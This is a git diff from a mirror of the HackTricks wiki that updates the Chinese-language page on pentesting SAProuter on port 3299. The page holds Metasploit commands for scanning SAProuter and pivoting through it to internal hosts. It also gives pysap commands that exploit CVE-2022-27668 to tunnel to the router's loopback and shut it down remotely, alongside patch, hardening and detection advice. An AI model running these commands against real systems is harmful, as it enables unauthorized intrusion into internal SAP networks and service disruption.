mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/3299-pentesting-saprouter.m
This commit is contained in:
parent
912d368d35
commit
b6cfe784a5
@ -1,17 +1,19 @@
|
||||
# # 3299/tcp - Pentesting SAProuter
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
这是来自[https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)的帖子摘要
|
||||
这是来自 [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/) 的帖子摘要
|
||||
|
||||
## 理解使用Metasploit进行SAProuter渗透
|
||||
## 使用 Metasploit 理解 SAProuter 渗透
|
||||
|
||||
SAProuter充当SAP系统的反向代理,主要用于控制互联网与内部SAP网络之间的访问。它通常通过允许TCP端口3299穿过组织防火墙而暴露于互联网。这种设置使得SAProuter成为渗透测试的一个有吸引力的目标,因为它可能作为高价值内部网络的网关。
|
||||
SAProuter 充当 SAP 系统的反向代理,主要用于控制互联网与内部 SAP 网络之间的访问。它通常通过允许 TCP 端口 3299 通过组织防火墙而暴露于互联网。这种设置使得 SAProuter 成为渗透测试的一个有吸引力的目标,因为它可能作为高价值内部网络的网关。
|
||||
|
||||
**扫描和信息收集**
|
||||
|
||||
最初,使用**sap_service_discovery**模块进行扫描,以确定给定IP上是否运行SAP路由器。这一步对于确认SAP路由器及其开放端口的存在至关重要。
|
||||
最初,使用 **sap_service_discovery** 模块进行扫描,以确定给定 IP 上是否运行 SAP router。此步骤对于确认 SAP router 的存在及其开放端口至关重要。
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
@ -25,7 +27,7 @@ msf auxiliary(sap_router_info_request) > run
|
||||
```
|
||||
**枚举内部服务**
|
||||
|
||||
通过获得的内部网络洞察,**sap_router_portscanner**模块用于通过SAProuter探测内部主机和服务,从而更深入地了解内部网络和服务配置。
|
||||
通过获得的内部网络洞察,**sap_router_portscanner** 模块用于通过 SAProuter 探测内部主机和服务,从而更深入地了解内部网络和服务配置。
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
@ -39,13 +41,13 @@ msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**内部主机的盲目枚举**
|
||||
**盲目枚举内部主机**
|
||||
|
||||
在从 SAProuter 获取直接信息有限的情况下,可以应用盲目枚举等技术。这种方法试图猜测并验证内部主机名的存在,揭示潜在目标而无需直接的 IP 地址。
|
||||
在直接从SAProuter获取信息有限的情况下,可以应用盲目枚举等技术。该方法尝试猜测并验证内部主机名的存在,揭示潜在目标而无需直接的IP地址。
|
||||
|
||||
**利用信息进行渗透测试**
|
||||
|
||||
在映射网络并识别可访问服务后,渗透测试人员可以利用 Metasploit 的代理功能,通过 SAProuter 进行进一步的探索和内部 SAP 服务的利用。
|
||||
在映射网络并识别可访问服务后,渗透测试人员可以利用Metasploit的代理功能,通过SAProuter进行转发,以进一步探索和利用内部SAP服务。
|
||||
```text
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
@ -57,12 +59,73 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||
|
||||
有关Metasploit模块及其使用的详细信息,请访问 [Rapid7's database](http://www.rapid7.com/db)。
|
||||
|
||||
---
|
||||
|
||||
## 最近的漏洞 (2022-2025)
|
||||
|
||||
### CVE-2022-27668 – 不当访问控制 ➜ 远程管理命令执行
|
||||
|
||||
在2022年6月,SAP发布了安全通知 **3158375**,解决了SAProuter(所有内核≥ 7.22)中的一个关键缺陷(CVSS 9.8)。未经身份验证的攻击者可以利用宽松的 `saprouttab` 条目从远程主机 **发送管理数据包**(例如 *shutdown*、*trace-level*、*connection-kill*),即使路由器是在没有 `-X` 远程管理选项的情况下启动的。
|
||||
|
||||
该问题源于通过针对未指定地址 **0.0.0.0** 构建到路由器自身回环接口的隧道的可能性。一旦建立隧道,攻击者将获得本地主机权限,并可以运行任何管理命令。
|
||||
|
||||
可以使用 **pysap** 框架重现实际利用:
|
||||
```bash
|
||||
# 1. Build a loopback tunnel through the vulnerable SAProuter
|
||||
python router_portfw.py -d <ROUTER_IP> -p 3299 \
|
||||
-t 0.0.0.0 -r 3299 \
|
||||
-a 127.0.0.1 -l 3299 -v
|
||||
|
||||
# 2. Send an admin packet (here: stop the remote router)
|
||||
python router_admin.py -s -d 127.0.0.1 -p 3299
|
||||
```
|
||||
**受影响的版本**
|
||||
|
||||
* 独立的 SAProuter 7.22 / 7.53
|
||||
* 内核 7.49, 7.77, 7.81, 7.85–7.88(包括 KRNL64NUC/UC)
|
||||
|
||||
**修复 / 缓解措施**
|
||||
|
||||
1. 应用 SAP Note **3158375** 中提供的补丁。
|
||||
2. 从 `saprouttab` 中的 `P` 和 `S` 行中移除通配符(`*`)目标。
|
||||
3. 确保路由器在 **没有** `-X` 选项的情况下启动,并且 **不** 直接暴露于互联网。
|
||||
|
||||
---
|
||||
|
||||
## 更新的工具和技巧
|
||||
|
||||
* **pysap** – 积极维护,并提供 `router_portfw.py`、`router_admin.py` 和 `router_trace.py` 用于制作自定义 NI/Router 数据包、模糊测试 ACL 或自动化 CVE-2022-27668 漏洞利用。
|
||||
* **Nmap** – 通过添加自定义 SAProuter 探测扩展服务检测:
|
||||
|
||||
```text
|
||||
Probe TCP SAProuter q|\x00\x00\x00\x00|
|
||||
ports 3299
|
||||
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
|
||||
```
|
||||
|
||||
结合 NSE 脚本或 `--script=banner` 快速指纹识别泄露横幅字符串的版本(`SAProuter <ver> on '<host>'`)。
|
||||
* **Metasploit** – 上述辅助模块仍然可以通过使用 pysap 创建的 SOCKS 或 NI 代理工作,即使路由器阻止直接访问,也能实现完整的框架集成。
|
||||
|
||||
---
|
||||
|
||||
## 加固和检测清单
|
||||
|
||||
* 在边界防火墙上过滤端口 **3299/TCP** – 仅允许来自受信任的 SAP 支持网络的流量。
|
||||
* 保持 SAProuter **完全打补丁**;使用 `saprouter -v` 验证并与最新的内核补丁级别进行比较。
|
||||
* 在 `saprouttab` 中使用 **严格的、特定主机** 条目;避免使用 `*` 通配符,并拒绝针对任意主机或端口的 `P`/`S` 规则。
|
||||
* 使用 **`-S <secudir>` + SNC** 启动服务,以强制执行加密和相互认证。
|
||||
* 禁用远程管理(`-X`),如果可能,将监听器绑定到 `127.0.0.1`,同时使用外部反向代理处理所需流量。
|
||||
* 监控 **dev_rout** 日志,查找可疑的 `ROUTER_ADM` 数据包或意外的 `NI_ROUTE` 请求到 `0.0.0.0`。
|
||||
|
||||
---
|
||||
|
||||
## **参考文献**
|
||||
|
||||
- [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/)
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:3299 !HTTP Network packet too big`
|
||||
- `port:3299 !HTTP 网络数据包过大`
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user